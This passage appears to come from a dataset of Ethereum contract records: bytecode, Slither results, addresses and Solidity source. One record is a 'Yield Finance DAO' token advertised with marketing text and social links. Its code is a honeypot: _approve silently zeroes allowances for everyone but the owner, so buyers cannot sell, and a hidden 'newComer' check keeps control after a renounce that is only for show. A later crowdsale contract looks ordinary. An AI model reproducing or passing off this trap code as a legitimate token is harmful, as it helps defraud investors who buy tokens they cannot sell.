613aee565b613ac4565b82815281810190848301838502860184018a10156132ec578687fd5b8695505b8486101561331757803561330381613c4e565b8352600195909501949183019183016132f0565b5095506133279050868201613086565b93505050509250929050565b60006020808385031215613345578182fd5b825167ffffffffffffffff81111561335b578283fd5b8301601f8101851361336b578283fd5b80516133796132cb82613aee565b8181528381019083850185840285018601891015613395578687fd5b8694505b838510156133b7578051835260019490940193918501918501613399565b50979650505050505050565b6000602082840312156133d4578081fd5b81516130ad81613c73565b6000602082840312156133f0578081fd5b5035919050565b600060208284031215613408578081fd5b5051919050565b60008251815b8181101561342f5760208186018101518583015201613415565b8181111561343d5782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff958616815293909416602084015260408301919091526060820152608081019190915260a00190565b73ffffffffffffffffffffffffffffffffffffffff968716815294909516602085015260408401929092526060830152608082015260a081019190915260c00190565b73ffffffffffffffffffffffffffffffffffffffff94909416845260208401929092526040830152606082015260800190565b901515815260200190565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b6020808252601f908201527f4c505265776172643a2064732d6d6174682d7375622d756e646572666c6f7700604082015260600190565b60208082526010908201527f4c505265776172643a204c4f434b454400000000000000000000000000000000604082015260600190565b6020808252601e908201527f4c505265776172643a2064732d6d6174682d6d756c2d6f766572666c6f770000604082015260600190565b60208082526019908201527f4c505265776172643a2057726f6e672061646472657373657300000000000000604082015260600190565b60208082526016908201527f4c505265776172643a205a65726f206164647265737300000000000000000000604082015260600190565b6020808252602d908201527f4c505265776172643a204e6f204e425520706169727320746f20746f6b656e2060408201527f4120616e6420746f6b656e204200000000000000000000000000000000000000606082015260800190565b60208082526022908201527f4c505265776172643a2053686f756c642062652067726561746572207468616e60408201527f2030000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f43616c6c6572206973206e6f742074686520616c6c6f77656420726f75746572604082015260600190565b60208082526026908201527f4c505265776172643a204e6f20756e646973747269627574656420666565206260408201527f6f6e757365730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4c505265776172643a2041646472657373206973207a65726f00000000000000604082015260600190565b6020808252601a908201527f4c505265776172643a204e6f7420616c6c6f7765642070616972000000000000604082015260600190565b60208082526021908201527f4c505265776172643a2043616c6c6572206973206e6f7420746865206f776e6560408201527f7200000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526031908201527f4c505265776172643a20417661696c61626c652072657761726420666f72207460408201527f686520706572696f642069732075736564000000000000000000000000000000606082015260800190565b6020808252601e908201527f4c505265776172643a2064732d6d6174682d6164642d6f766572666c6f770000604082015260600190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201527f4c45440000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4c505265776172643a2050616972206e6f742065786973747300000000000000604082015260600190565b90815260200190565b60006040820184835260206040818501528185518084526060860191508287019350845b81811015613a8e57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101613a5c565b5090979650505050505050565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff81118282101715613ae657613ae6613c1f565b604052919050565b600067ffffffffffffffff821115613b0857613b08613c1f565b5060209081020190565b60008219821115613b2557613b25613bf0565b500190565b600082613b5e577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b9b57613b9b613bf0565b500290565b600082821015613bb257613bb2613bf0565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613be957613be9613bf0565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114613c7057600080fd5b50565b8015158114613c7057600080fdfea264697066735822122019a26f5caf44c447163bfbc9ead29d26cd574a721996b2db1756ea61ee85335464736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,686 |
0xb4ad82c32cc2bfbacd4159827c2cc0f6641ca559
|
/*
We are a revenue-generating ERC-20 FaaS project that creates passive income
for its holders through profits returned in the form of investments, buybacks & farming.
✅ DAO
✅ YieldFi Launchpad
✅ Weekly Buybacks/Burns/Giveaways
Tokenomics:
👉Supply: 1,000,000,000
👉Buy tax: 10% | Sell tax: 13%
👉Max buy: 0.5% | Max wallet: 1%
- Launching on Thursday Jan 20 -
Join us!
Telegram: https://t.me/YieldFiDAO
Twitter: https://twitter.com/YieldFiDAO
Website: yieldfidao.com
Medium: https://medium.com/@YieldFiDAO
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract YieldFinanceDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Yield Finance DAO ' ;
string private _symbol = 'YieldFi ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209f1f20dbabc227539e40ef4a0c726b9b60597362c5e3837f7b8f1282f4e00b8664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,687 |
0xfb8d063b50c4c31c1f423fdcbec6a6405474a4e3
|
pragma solidity 0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function burn(uint amount) external returns(bool success);
}
contract InterbetCoinCrowdsale {
/* Global constants */
uint constant ibcTokenDecimals = 18; // Decimal places of IBC
token public tokenReward = token(0xCBbb6861423440170680b538d136FfE17A4b661a); // IBC token contract
address public beneficiary = 0x560b989db52368696bDC1db587eA52787Fdc3406; // Interbet team
address public admin = 0x8dd4866a5BaB83e1e2433e6e74B8385D12b838A3; // Crowdsale admin
/* Events */
event FundTransfer(SaleStage indexed saleStage, address indexed contributor, uint amount, bool isContribution);
event CrowdsaleClosed(address recipient, uint totalAmountRaised);
event TokenClaimed(address indexed contributor, uint tokenAmount);
/* Crowdsale Core */
enum SaleStage {
NotStarted,
Presale,
Break,
ICO,
Closed
}
SaleStage public currentSaleStage;
uint public minFundInEther = 10 * 1 finney; // Minimum contribution for Presale and ICO
uint public presalePrice = 10000; // Base price of Presale: 10,000 IBC = 1 ETH
uint public presaleFundingTargetInEther = 3000 * 1 ether; // 3,000 ETH target of Presale
uint public breakDurationBetweenPresaleAndICO = 1 weeks; // A short break for preparing ICO
uint public icoPhaseTimeInterval = 1 weeks; // Interval of ICO phases
uint public icoStart; // ICO starts one week after Presale ended
uint public icoTimeBonusPhase1End; // ICO's phase 1 end
uint public icoTimeBonusPhase2End; // ICO's phase 2 end
uint public icoEnd; // ICO's phase 3 end
uint public icoPrice = 5000; // Base price of ICO: 5,000 IBC = 1 ETH
uint public totalFundingGoalInIBC = 630000000 * (10 ** ibcTokenDecimals); // Funding goal is 630 Mil IBC: 30 Mil (Presale) + 600 Mil (ICO)
uint public fundingRatePredictionBonusPoolInIBC = 70000000 * (10 ** ibcTokenDecimals); // Funding rate prediction bonus pool of minimum 70 Mil IBC
uint public icoReferralBonusInPercentage = 5; // 5% bonus for both referrer and contributor
uint public icoPhase1TimeBonusInPercentage = 20; // 20% bonus for ICO's phase 1
uint public icoPhase2TimeBonusInPercentage = 10; // 10% bonus for ICO's phase 2
uint public icoPhase3TimeBonusInPercentage = 0; // No bonus for ICO's phase 3
uint public icoFundingRatePredictionBonusInPercentage = 25; // 25% bonus for predicting the correct final funding rate
uint public fundingRatePredictionBonusClaimWindow = 4 weeks; // After this window, the remaining pool of prediction bonus tokens will be destroyed
uint public etherRaised = 0; // All ether contributed
uint public ibcFunded = 0; // Counting only the tokens distributed before ICO ended, without counting funding rate prediction bonus
uint public ibcDistributed = 0; // Total tokens distributed
uint public contributionCount = 0; // Number of contributions
mapping(address => uint256) public balanceOf; // Ether contributed
mapping(address => uint256) public ibcVaultBalanceOf; // IBC hold in vault
mapping(address => uint256) public baseRewardTokenBalanceOf; // IBC base reward without counting any bonus
mapping(address => uint256) public fundingRatePredictionOf; // The funding rate prediction
mapping(address => bool) public fundingRatePredictionBingoOf; // Bingo or not
constructor() public {
currentSaleStage = SaleStage.Presale;
}
/// Participate by sending ether
function () external payable {
require(currentSaleStage == SaleStage.Presale || currentSaleStage == SaleStage.Break || currentSaleStage == SaleStage.ICO);
if (currentSaleStage == SaleStage.Presale) {
participatePresaleNow();
} else if (currentSaleStage == SaleStage.Break || currentSaleStage == SaleStage.ICO) {
participateICONow(address(0), 0);
}
}
/// Participate Presale
function participatePresale() external payable {
participatePresaleNow();
}
function participatePresaleNow() private {
require(currentSaleStage == SaleStage.Presale);
require(etherRaised < presaleFundingTargetInEther);
require(msg.value >= minFundInEther);
uint amount = msg.value;
uint price = presalePrice;
uint tokenAmount = mul(amount, price);
require(add(ibcFunded, tokenAmount) <= totalFundingGoalInIBC);
if (add(etherRaised, amount) >= presaleFundingTargetInEther) {
updateSaleStage(SaleStage.Break);
}
balanceOf[msg.sender] = add(balanceOf[msg.sender], amount);
etherRaised = add(etherRaised, amount);
contributionCount++;
ibcFunded = add(ibcFunded, tokenAmount);
ibcVaultBalanceOf[msg.sender] = add(ibcVaultBalanceOf[msg.sender], tokenAmount);
emit FundTransfer(SaleStage.Presale, msg.sender, amount, true);
}
/// Participate ICO
function participateICO(address referrer, uint fundingRatePrediction) external payable {
participateICONow(referrer, fundingRatePrediction);
}
function participateICONow(address referrer, uint fundingRatePrediction) private {
require(currentSaleStage == SaleStage.Break || currentSaleStage == SaleStage.ICO);
if (currentSaleStage == SaleStage.Break) {
if (now >= icoStart && now < icoEnd) {
updateSaleStage(SaleStage.ICO);
} else {
revert();
}
} else if (currentSaleStage == SaleStage.ICO) {
require(now >= icoStart && now < icoEnd);
}
require(referrer != msg.sender);
require(fundingRatePrediction >= 1 && fundingRatePrediction <= 100);
uint amount = msg.value;
uint price = icoPrice;
uint baseRewardTokenAmount = mul(amount, price);
uint tokenAmount = add(baseRewardTokenAmount, calculateInstantBonusAmount(baseRewardTokenAmount, referrer));
uint referrerReferralBonus = 0;
if (referrer != address(0)) {
referrerReferralBonus = mul(baseRewardTokenAmount, icoReferralBonusInPercentage) / 100;
}
if (add(add(ibcFunded, tokenAmount), referrerReferralBonus) < totalFundingGoalInIBC) {
require(msg.value >= minFundInEther);
} else {
require(add(add(ibcFunded, tokenAmount), referrerReferralBonus) == totalFundingGoalInIBC);
}
if (add(add(ibcFunded, tokenAmount), referrerReferralBonus) == totalFundingGoalInIBC) {
updateSaleStage(SaleStage.Closed);
}
balanceOf[msg.sender] = add(balanceOf[msg.sender], amount);
baseRewardTokenBalanceOf[msg.sender] = add(baseRewardTokenBalanceOf[msg.sender], baseRewardTokenAmount);
fundingRatePredictionOf[msg.sender] = fundingRatePrediction;
etherRaised = add(etherRaised, amount);
contributionCount++;
ibcFunded = add(ibcFunded, tokenAmount);
ibcVaultBalanceOf[msg.sender] = add(ibcVaultBalanceOf[msg.sender], tokenAmount);
if (referrerReferralBonus != 0) {
ibcFunded = add(ibcFunded, referrerReferralBonus);
ibcVaultBalanceOf[referrer] = add(ibcVaultBalanceOf[referrer], referrerReferralBonus);
}
emit FundTransfer(SaleStage.ICO, msg.sender, amount, true);
}
/// Calculate time and referral bonus with base tokens
function calculateInstantBonusAmount(uint baseRewardTokenAmount, address referrer) internal view returns(uint) {
uint timeBonus = 0;
uint timeBonusInPercentage = checkTimeBonusPercentage();
if (timeBonusInPercentage != 0) {
timeBonus = mul(baseRewardTokenAmount, timeBonusInPercentage) / 100;
}
uint referralBonus = 0;
if (referrer != address(0)) {
referralBonus = mul(baseRewardTokenAmount, icoReferralBonusInPercentage) / 100;
}
uint instantBonus = add(timeBonus, referralBonus);
return instantBonus;
}
/// Get time bonus percentage
function checkTimeBonusPercentage() internal view returns(uint) {
uint timeBonusInPercentage = 0;
if (now < icoTimeBonusPhase1End) {
timeBonusInPercentage = icoPhase1TimeBonusInPercentage;
} else if (now < icoTimeBonusPhase2End) {
timeBonusInPercentage = icoPhase2TimeBonusInPercentage;
}
return timeBonusInPercentage;
}
/// Claim IBC
function claimToken() external {
require(currentSaleStage == SaleStage.ICO || currentSaleStage == SaleStage.Closed);
if (currentSaleStage == SaleStage.ICO) {
if (ibcFunded == totalFundingGoalInIBC || now >= icoEnd) {
updateSaleStage(SaleStage.Closed);
} else {
revert();
}
}
require(ibcVaultBalanceOf[msg.sender] > 0);
uint tokenAmount = ibcVaultBalanceOf[msg.sender];
if (now < icoEnd + fundingRatePredictionBonusClaimWindow) {
if (fundingRatePredictionBonusPoolInIBC > 0) {
uint finalFundingRate = mul(ibcFunded, 100) / totalFundingGoalInIBC;
if (finalFundingRate > 100) {
finalFundingRate = 100;
}
if (fundingRatePredictionOf[msg.sender] == finalFundingRate) {
if (!fundingRatePredictionBingoOf[msg.sender]) {
fundingRatePredictionBingoOf[msg.sender] = true;
uint fundingRatePredictionBingoBonus = mul(baseRewardTokenBalanceOf[msg.sender], icoFundingRatePredictionBonusInPercentage) / 100;
if (fundingRatePredictionBingoBonus > fundingRatePredictionBonusPoolInIBC) {
fundingRatePredictionBingoBonus = fundingRatePredictionBonusPoolInIBC;
}
fundingRatePredictionBonusPoolInIBC = sub(fundingRatePredictionBonusPoolInIBC, fundingRatePredictionBingoBonus);
tokenAmount = add(tokenAmount, fundingRatePredictionBingoBonus);
}
}
}
}
ibcVaultBalanceOf[msg.sender] = 0;
ibcDistributed = add(ibcDistributed, tokenAmount);
tokenReward.transfer(msg.sender, tokenAmount);
emit TokenClaimed(msg.sender, tokenAmount);
}
function updateSaleStage(SaleStage saleStage) private {
currentSaleStage = saleStage;
if (saleStage == SaleStage.Break) {
icoStart = now + breakDurationBetweenPresaleAndICO;
icoTimeBonusPhase1End = icoStart + icoPhaseTimeInterval;
icoTimeBonusPhase2End = icoTimeBonusPhase1End + icoPhaseTimeInterval;
icoEnd = icoTimeBonusPhase2End + icoPhaseTimeInterval;
} else if (saleStage == SaleStage.Closed) {
if (now < icoEnd) {
icoEnd = now;
}
if (ibcFunded < totalFundingGoalInIBC) {
fundingRatePredictionBonusPoolInIBC = add(fundingRatePredictionBonusPoolInIBC, sub(totalFundingGoalInIBC, ibcFunded));
}
emit CrowdsaleClosed(beneficiary, etherRaised);
}
}
/// Update sale stage manually
function updateSaleStageManually(uint saleStage) external {
require(msg.sender == admin);
require(saleStage >= 1 && saleStage <= 4);
require(saleStage > uint(currentSaleStage));
updateSaleStage(SaleStage(saleStage));
}
/// Withdraw Ether
function withdrawEther(uint amount) external {
require(msg.sender == beneficiary);
if (beneficiary.send(amount)) {
emit FundTransfer(SaleStage.Closed, beneficiary, amount, false);
}
}
/// Burn the remaining pool of prediction bonus tokens
function burnAllRemainingIBC() external {
require(currentSaleStage == SaleStage.Closed);
require(now >= icoEnd + fundingRatePredictionBonusClaimWindow);
require(msg.sender == admin);
require(fundingRatePredictionBonusPoolInIBC > 0);
uint currentFundingRatePredictionBonusPoolInIBC = fundingRatePredictionBonusPoolInIBC;
fundingRatePredictionBonusPoolInIBC = 0;
if (!tokenReward.burn(currentFundingRatePredictionBonusPoolInIBC)) {
fundingRatePredictionBonusPoolInIBC = currentFundingRatePredictionBonusPoolInIBC;
}
}
/* Math utilities */
function mul(uint256 _a, uint256 _b) private pure returns(uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function sub(uint256 _a, uint256 _b) private pure returns(uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) private pure returns(uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
|
